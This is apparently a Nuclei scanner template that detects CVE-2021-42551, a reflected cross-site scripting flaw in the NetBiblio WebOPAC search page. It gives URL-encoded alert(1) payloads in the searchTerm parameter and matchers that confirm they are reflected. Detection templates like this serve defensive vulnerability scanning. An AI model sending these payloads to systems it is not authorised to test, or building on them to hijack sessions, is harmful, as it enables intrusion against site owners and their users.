60 lines
2.0 KiB
YAML
60 lines
2.0 KiB
YAML
id: CVE-2021-42551
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info:
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name: NetBiblio WebOPAC - Cross-Site Scripting
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author: compr00t
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severity: medium
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description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Upgrade to the latest version to mitigate this vulnerability.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-42551
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- https://www.redguard.ch/advisories/netbiblio_webopac.txt
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-42551
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cwe-id: CWE-79
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epss-score: 0.00124
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epss-percentile: 0.46641
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cpe: cpe:2.3:a:alcoda:netbiblio:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: alcoda
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product: netbiblio
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tags: cve2021,cve,xss,netbiblio,alcoda
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http:
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- method: GET
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path:
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- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x'
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- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F'
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host-redirects: true
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max-redirects: 3
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "SearchTerm: 'x'+alert(1)+'x',"
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- "SearchTerm: 'x\\\\'+alert(1),//',"
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condition: or
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- type: word
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part: header
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words:
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- "text/html"
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- type: word
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part: body
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words:
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- "NetBiblio"
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502206dd93003af5b16b41ee56291ab005c6c3f16f409d1d15021ba955b2ce382f648022100faabadb8a53c37f1b7f22013ffe65ca71fbd83d105f2621c62226db40d7ae45d:922c64590222798bb761d5b6d8e72950 |